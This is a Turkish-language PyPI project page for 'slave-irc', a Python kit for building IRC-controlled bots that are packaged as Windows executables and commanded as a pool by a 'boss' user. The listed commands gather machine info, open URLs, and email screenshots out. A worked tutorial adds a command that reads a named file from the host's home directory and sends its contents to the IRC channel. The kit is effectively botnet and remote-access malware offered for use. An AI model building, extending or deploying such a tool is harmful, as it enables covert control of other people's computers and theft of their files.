Skip to main content

SLAVE

Slave, Python ile yazılmış özelleştirilebilir bot oluşturmaya yarayan bir yazılımdır. IRC protokolü üzerinden, yazılan botlar ile haberleşir.

Yükleme

Pip ile kurulum

$ pip install slave-irc

Local kurulum

$ git clone https://github.com/bufgix/slave
$ cd slave
$ python setup.py install

Slave, gerek executable dosya oluşturmada gerekse bağımlıklıları kurmada pipenv i kullanır. pipenv hakkında daha fazla bilgiye buradan ulaşabilirsiniz.

Kullanım

Basit bot oluşturma

# basic_bot.py

from slave.lib.bot import BotV2


config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotV2.read_config_from_dict(config)
BotV2.start()

config şunları içermelidir

Key Value
host IRC server (varsayılan chat.freenode.net)
port IRC server portu (varsayılan 6667)
channel Bağlanılacak kanal ismi. (varsayılan #slavebotpool666)
boss_name Botları yönetecek kullanıcın ismi (varsayılan boss666)
bot_prefix Bot ön eki (varsayılan SLAVEBOT)

Çalıştırılabilir dosya oluşturma


Slave, direkt olarak çalıştırabilir dosya oluşturmanıza olanak sağlar. Bunu yaparlen PyInstaller kullanır.

Yukarıda yazdığımız botu çalıştırılabilir dosya yapmak için:

$ python -m slave basic_bot.py
[i] Source: C:\Users\user\your_bot\basic_bot.py
[i] Creating executable file...
[*] Created executable file. Check C:\Users\user\path\your_bot\dist

Oluşan dist/ dizinini altında basic_bot.exe dosyası artık kullanıma hazır.

basic_bot.exe yi çalıştırdıktan sonra 5-10 saniye içinde config de belirlediğiniz şekilde IRC'ye bağlanır.

Buradan sonra config de belirlediğiniz bos_name ile aynı olarak IRC server ve channel'e girin. Ardından botlarınıza emir vermeye başlayabilirsiniz.

Nasıl komut vereceksiniz

Slave botlarına emir vermek için $ ön eki getirilir.

$info bfr24s
$visit bfr24s https://google.com

gibi. Komuttan sonraki ilk parametre genelde vereceğiniz botun idsini alır. Eğer bütün botlara bu komutu vermek istiyorsanız bot_id yerine /all yazabilirsiniz.

$visit /all https://google.com

BOtV2 nin sağladığı komutlar ve kullanımları aşağıdaki gibidir

Command Desc Syntax
quit Kill bot $quit [/all | <bot_id>]
info Information of bot machine $info [/all | <bot_id>]
message Message show with tkinter $message [/all | <bot_id>] <message> <msec>
visit Open url with webbroser $visit [/all | <bot_id>] <url>
screenshot Take sceenshot and send your email(Only Gmail) $screenshot [/all | <bot_id>] <email> <password>
help Help text of command $help <bot_id> <cmd>

Botlarınızı her yerden yönetebilirsiniz

Nasıl kendi komutlarımı yazarım ?

Slave, kendi özel botunuzu yazmanızı sağlar. Bunu yapmak için Bot sınıfının @register decelerator'unu kullanmanız gerekir.

Şimdi kendimiz bir komut yazalım. Yazacağımız komut argüman olarak verdiğimiz dosya ismini okuyup içindekileri servera göndersin. Komutun söz dizimi şöyle olsun.

$read [/all | <bot_id>] <file_name>
# bot_custom.py

from slave.lib.bots import BotBasic

config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotBasic.read_config_from_dict(config)
BotBasic.bot_type = "MyCustomBot"

@BotBasic.register('read', all=True, on_connect=False, help_text="Read from file $read [/all | <bot_id>] <file_name>")
def read_file(bot, args):
    pass

BotBasic.start()

Görüldügü gibi register() ilk paramtere olarak komut dizisini alır. all= keywordu, <bot_id> yerine /all kullanmamızı ve bütün botlarda aynı anda komutumuzun çalıştırılmasını sağlar. on_connect= Bu, eğer True ise yazdığınız komut servera bağlandığı anda çalışır. help_text= ise komutumuzun imzasıdır. Burada komutun nasıl kullanılacağı hakkında bilgi verebilirsiniz.

Komut fonksyonu iki parametre almak zorundadır. Birinci parametre olarak Bot objesi alır. Bu server ile bot arasında iletişimi sağlar.

bot.send_text(text: str) -> None

Servera text mesajı göndermeyi sağlar.

bot.exit_server() -> None

Botun serverdan ayrılmasını sağlar

bot.send_command_help() -> None

Var olan komutları ve bilgilerini servera gönderir.

İkinci argüman olan args ise argüman listesini alır.

img

şimdi komutumuzu yazmaya devam edelim

from pathlib import Path

...

@BotBasic.register('read', all=True, on_connect=False, help_text="Read from file $read [/all | <bot_id>] <file_name>")
def read_file(bot, args):
    path = str(Path(f"~/{args[1]}").expanduser())
    with open(path, 'r') as f:
        bot.send_text(f.read())

...

Her şey hazır. Şimdi test etmek için bot_custom.py yi çalıştırabiliriz.

$ python bot_custom.py

file.txt

Im secret
Don't read me

img

Tabi dosyayı okumdadan önce var olup olmadığını kontrol etmek önemlidir. Eğer var olmayan bir dosyaya erişmeye çalışırsanız bot, serverla haberleşmeyi kesecektir.

Yukardaki örnekte daha az komut olduğunu görmüşsünüzdür. Bunun nedeni BotBasic sınıfının BotV2 ye göre daha az komut içermesi. Hem kendi komutlarınızı hem de BotV2 deki standart komutları birleştirmek için

from slave.lib.bots import BotBasic, BotV2

...

BotBasic.use_other_bot_commands(BotV2)
BotBasic.start()

img

Botunuzun hazır olduğunu düşünüyorsanız artık çalıştırılabilir dosya yapabilirsiniz.

LICENSE: MIT

Metadata

Release files for slave-irc 1.1.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for slave-irc 1.1.1
File Size Uploaded
slave-irc-1.1.1.tar.gz 9.1 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for slave-irc 1.1.1
File Interpreter ABI Platform
slave_irc-1.1.1-py3-none-any.whl Python 3 none any Details

Total release size: 19.1 kB

Release files / slave-irc-1.1.1.tar.gz

Download URL slave-irc-1.1.1.tar.gz
Size 9.1 kB
Tags Source
SHA-256 checksum
How to use checksums
c4039cdf819c4db01f1adcdd8ecca969cb0d22c389b34cbc73551c0a0ac76698
BLAKE2b-256 checksum
How to use checksums
7882dbb749de39316d4afb8ac96a730525d29ac97a634964c93e90e459d14d94
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/1.13.0 pkginfo/1.5.0.1 requests/2.22.0 setuptools/41.0.1 requests-toolbelt/0.9.1 tqdm/4.32.1 CPython/3.7.2

Release files / slave_irc-1.1.1-py3-none-any.whl

Download URL slave_irc-1.1.1-py3-none-any.whl
Size 10.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
6aadd6be0cd7af5377143ddaea25aba1a579b2e3e6d69ce80133e793cb1145bf
BLAKE2b-256 checksum
How to use checksums
6b8b5d83a5777b8aad4d2dbf3c0ef7356bdce38c96e5a452c0d175aa657e769a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/1.13.0 pkginfo/1.5.0.1 requests/2.22.0 setuptools/41.0.1 requests-toolbelt/0.9.1 tqdm/4.32.1 CPython/3.7.2

Release history Release notifications | RSS feed

This release

1.1.1 This release

2 release files

1.0.2

2 release files

1.0.1

2 release files

1.0.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page